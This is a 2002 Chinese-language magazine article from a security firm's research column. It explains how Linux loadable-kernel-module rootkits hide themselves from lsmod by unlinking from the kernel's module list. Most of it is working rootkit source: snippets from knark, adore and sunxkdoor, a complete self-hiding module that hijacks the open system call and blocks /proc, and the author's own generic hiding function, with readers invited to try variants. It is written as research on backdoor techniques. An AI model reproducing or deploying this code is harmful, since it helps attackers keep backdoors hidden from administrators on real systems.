首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第35期->技术专题
期刊号: 类型: 关键词:
LKM backdoor研究linux系列-module的隐藏

作者:jbtzhm <jbtzhm@nsfocus.com>
主页:http://www.nsfocus.com
日期:2002-09-16

在常见的lkm方式的rootkit包中我们一般都会发现hidmod之类字样的文件,或在module的主要文件中有hidemodule之类的函数,他们并不是backdoor的功能实现,但却扮演着重要的角色-隐藏。随着不同的backdoor浮出水面,各种hidemodule的方法也不尽相同。

本片文章主要讨论常见的module后门的隐藏方法,不包含替代lsmod命令行方式的隐藏方法和造成管理员误判的方法。

在研究各种module隐藏之前,我们先熟悉一下module在kernel的实现。kernel关于module的实现中有一个重要的数据结构struct module

struct module
{
         unsigned long size_of_struct;   module结构的大小
         struct module *next;        下一个module的地址
         const char *name;        module的名字
         unsigned long size;        module的大小,是整个module的总长度,包括module结构,代码,数据等

         union
         {
                 atomic_t usecount;
                 long pad;
         } uc;                           /* Needs to keep its size - so says rth */

         unsigned long flags;            /* AUTOCLEAN et al */

         unsigned nsyms;        symbol的个数
         unsigned ndeps;    依赖module的个数

         struct module_symbol *syms;        此module实现的对外输出的所有symbol
         struct module_ref *deps;    依赖的module数组
         struct module_ref *refs;    被引用的module的数组
         int (*init)(void);        用户实现的init_module函数的入口
         void (*cleanup)(void);        用户实现的clean_up函数的入口
         const struct exception_table_entry *ex_table_start;
         const struct exception_table_entry *ex_table_end;
#ifdef __alpha__
         unsigned long gp;
#endif
         /* Members past this point are extensions to the basic
            module support and are optional.  Use mod_opt_member()
            to examine them.  */
         const struct module_persist *persist_start;
         const struct module_persist *persist_end;
         int (*can_unload)(void);
};
每个module在kernel中都有一个module结构与其对应,各个module之间用next构成单项链表。kernel中还有一个全局变量module_list存储链表的头指针,一个新的module被加载后,还加载链表的最开始,因此module_list的值就是新加载module的值。kernel中还有一个全局变量是kernel_module,在支持module方式的内核中,内核本身被描述成一个大module,这个module将被以后加载的所有module所引用,除非你一个kernel导出的symbol都不用 :)。如果kernel当前状态一个module都没有加载,那么module_list的值就是kernel_module。

好了,我们再看看module的创建过程。我们这里简单介绍一下,有兴趣的朋友参看《情景分析》读一下kernel的源代码,这里只介绍一下简单流程。我们知道一个module在linux下是用insmod加载的,insmod程序首先计算一下要加载的module的所需空间,然后调用sys_create_module系统调用,这个系统调用只有两个参数,一个是module的名字,一个是module的长度。sys_create_module用vmalloc函数在kernel空间分配一段空间地址给要加载的module,这个需要稍微注意一下的是空间的大小是module的size大小,而module结构是在这段空间地址的最前面。sys_create_module将此module结构加到module_list的头,然后返回。insmod下面的流程较复杂一些,感兴趣的朋友参看一下《LKM backdoor研究linux系列--insmod源码分析篇》有较详细的分析,主要就是在解析module文件中的symbol地址,构造好一个用户空间的module结构,然后调用sys_init_module系统调用,将其复制到刚才分配的空间中。其中包括大量的成员是否越界的检查,module之间引用关系的构造和init入口函数被调用。

查看module信息的命令行是lsmod,此命令行的实现是调用另一个关于module的系统调用sys_query_module,其就是从module_list中顺序取得相应module信息返回。如果我们想隐藏一个module,可以从hook sys_query_module函数入手,但是其原没有另一种方法简单,那就是将backdoor的module从module_list取下,方法既简单,又稳定不易出错。我们看到网上流传的常用的方法也是如此。下面就看看常用的将module从module_list删除的常见方法。

1.两次加载:此种方法需要加载两个module,第一个module是真正的backdoor,第二个只负责隐藏上一个module,将其从module_list中删除。
/*
*  if at first you dont suceed, try:
*  %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp
*  I cant make this automaticly, because I'll fuck up the registers If I do
*  any calculus here.
*/
  register struct module *mp asm("%ebx");
  struct module *p;

  // check modname
  if(modname == 0x0){
    // If you really want to use this module, do it right way! thinkhard
    printk("Unknown module name. Try insmod modhide.o modname.\n");
    return -1;
  }

  
  /*
    if (mp->init == &init_module) // is it the right register?
    if (mp->next) // and is there any module besides this one?
    mp->next = mp->next->next; // cool, lets hide it :)
  */

  if (mp->init == &init_module) /* is it the right register? */
    if (mp->next){ /* and is there any module besides this one? */
      p = mp->next;
      while(p && strcmp(p->name, modname)){
    mp = p;
    p=p->next;
      }
      if(p) //found matching module
    mp->next = p->next;
    }
    上面的这段代码摘自knark2.4.31,此module的唯一功能就是隐藏上次加载的module,也就是我们要隐藏的backdoor。其实上面的方法有些取巧,用猜的方法,其中mp的寄存器变量设成ebx,然后将上一次的module从链表中删除。其实还是adore的关于第二次加载方法比较通用,利用insmod时在module中加入__this_module符号的特点,轻松的得到本module的地址,然后将上一个删除。
int init_module()
{
        if (__this_module.next)
                __this_module.next = __this_module.next->next;

        return 0;
}


  
2.找module_list法,我们看到上面的方法需要加载两次module,虽然可以完成功能,但是毕竟多一个步骤,如果可以为什么不一次搞定呢?我们先分析一下,如果想要一次搞定,要先得到module_list的地址,我们刚才已经知道,一个新加载的module位于链表的头,如果我们如果先要删除这个module就必须得到module_list的地址(module_list的值是没用的)。我们看看J.B. LeSage的实现,我想大家从他的描述中就能理解他的实现方法了。
/* modhide1.c by J.B. LeSage <nijen@mail.ru>

   demo of module hiding that doesn't involve hacking the lsmod binary,
   or changing any module related system calls
   note: this module _does_ change the system call table, but it does not
         hide itself that way, it leaves module related calls alone.

when this module is loaded (assuming it works properly), it:
hides itself initially
protects /proc (just for something to do)
hides itself (if it's visible) if you try to open /hide
shows itself (if it's hidden) if yuo try to open /unhide

to build and load it use:
   gcc -c modhide1.c -o modhide1.o
   insmod ./modhide1.o
to test it use:
   lsmod
   cat /unhide
   lsmod
  
the module hides itself by doing the following:
* determines it's load address by taking the address of a function in the
   current module, and rounding down to the start of the page that it's in.
   be careful to make sure that the function won't be more than 3800 bytes
   or so into the code of the module or this won't work.
* finds the location of kernel_module by tracking back modvar->next
   until it hits one where ->next is null, this works because the kernel
   module is the only module that doesn't point to a ->next
* adds the size of a module structure to the location of the kernel_module
   to get module_list.  this works because module.c declares kernel_module,
   then module_list, this causing module_list to appear immediately above
   kernel_module
* then it uses a pretty standard method for removing the module from
   the list, I didn't rip it from the kernel source, but I checked and it's
   basically the same, the only hard part was finding the locations of the
   data structures to use (they're all declared as static)
*/

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/kmod.h>
#include <asm/unistd.h>

#ifdef __SMP__
#include <linux/smp_lock.h>
#endif

extern void *sys_call_table[];

static struct module *__current_module__=NULL,
    *__kernel_module__,**__module_list__;

static void __access_current_module__(void) {
   __current_module__=(void *)((int)__access_current_module__&0xfffff000);
   __kernel_module__=__current_module__;
   while (__kernel_module__->next) __kernel_module__=__kernel_module__->next;
   __module_list__=(void *)(((int)__kernel_module__)+sizeof(struct module));
}

static int __show_current_module__(void) {
   if (!__current_module__) __access_current_module__();
   if (__current_module__->next) return(-1);
   __current_module__->next=*__module_list__;
   *__module_list__=__current_module__;
   return(0);
}

static int __hide_current_module__(void) {
   struct module *mod;
   if (!__current_module__) __access_current_module__();
   if (!__current_module__->next) return(-1);
  
   if ((mod=*__module_list__)==__current_module__)
     *__module_list__=__current_module__->next;
   else {
      while (mod->next!=__current_module__)
    if (!(mod=mod->next)) return(-2);
      mod->next=__current_module__->next;
   }
   __current_module__->next=NULL;
  
   return(0);
}


asmlinkage long (*__old_open__)(const char *,int,int);

asmlinkage long __new_open__(const char *pathname, int flags, int mode) {
  
     {    
    char buf[1024];
    
    if (strncpy_from_user(buf,pathname,1024)) {
       if (buf[0]=='/')
         if (buf[1]=='u')
           if (buf[2]=='n')
         if (buf[3]=='h')
           if (buf[4]=='i')
             if (buf[5]=='d')
               if (buf[6]=='e')
             if (!buf[7]) {
                __show_current_module__();
                return(-EEXIST);
             }
       if (buf[0]=='/')
         if (buf[1]=='h')
           if (buf[2]=='i')
         if (buf[3]=='d')
           if (buf[4]=='e')
             if (!buf[5]) {
            __hide_current_module__();
            return(-EIDRM);
             }
       if (buf[0]=='/')
         if (buf[1]=='p')
           if (buf[2]=='r')
         if (buf[3]=='o')
           if (buf[4]=='c')
             if ((buf[5]=='/') || (!buf[5])) return(-EACCES);
    }
     }
  
   return(__old_open__(pathname,flags,mode));
}

int init_module(void) {
   __hide_current_module__();
   __old_open__=sys_call_table[__NR_open];
   sys_call_table[__NR_open]=__new_open__;
   return(0);
}

void cleanup_module(void) {
   sys_call_table[__NR_open]=__old_open__;
}

其实现正如作者所说,他先利用vmalloc分配空间的特点,通过4k对齐方式得到空间的边界值,从而确定module的地址,但是如果module太大,__access_current_module__地址已经不再本4k页了,这个地址将会计算错误。然后他顺着module_list列表取得kernel_module的地址,根据kernel_modle和module_list地址的偏移从而得到module_list的地址。关于一次隐藏的方法,我也做过一个通用函数供大家参考

static void hide_module()
{
    extern void * sys_call_table[];
    unsigned long (*create_module)(const char *name,size_t size);
    unsigned long (*delete_module)(const char *name);
    struct module *tmp;
    mm_segment_t fs;

    create_module = sys_call_table[SYS_create_module];
    delete_module = sys_call_table[SYS_delete_module];


    fs = get_fs();
    set_fs(KERNEL_DS);
    tmp = (struct module *) create_module("wyz_test",1024*4);
    tmp->next = tmp->next->next;
    delete_module("wyz_test");
    set_fs(fs);

}
有了上面的分析其意义很好理解,这里就不说了。

3.sunx方法:这种方法比较另类,我在sunxkdoor中发现,不是将自己从module_list删除,而是将前一个正常module删除,然后将自己的名字改成刚才的名字。m也是从this_module得到的。

if ( ( m != NULL ) && ( m->init == init_module ) )
        {
            nextmodule = m->next;
            m->name = m->next->name;    
            m->next = m->next->next;
            atomic_inc(&m->uc.usecount);
        }


其实我们发现目的确定了,其方法是多种多样的,欢迎有兴趣的朋友试试看,如果可以不妨寄给我一份。

module的删除其实只是提高隐蔽性的必做一环,真正的做到一个好lkm的backdoor还远远不只这些,如果在功能的实现上只是简单的替换系统调用的backdoor已经不能很好的隐藏自己,随着phrack上一些经典的文章的出炉,backdoor技术更新的非常迅速,一些利用内核劫持的技术反kstat后门程序也开始在网上流行。我们相信随着backdoor和anti-backdoor的对抗,又有更经典的理论和思路出现,期待着令人咋舌的后门和反后门工具的不断涌现。
版权所有,未经许可,不得转载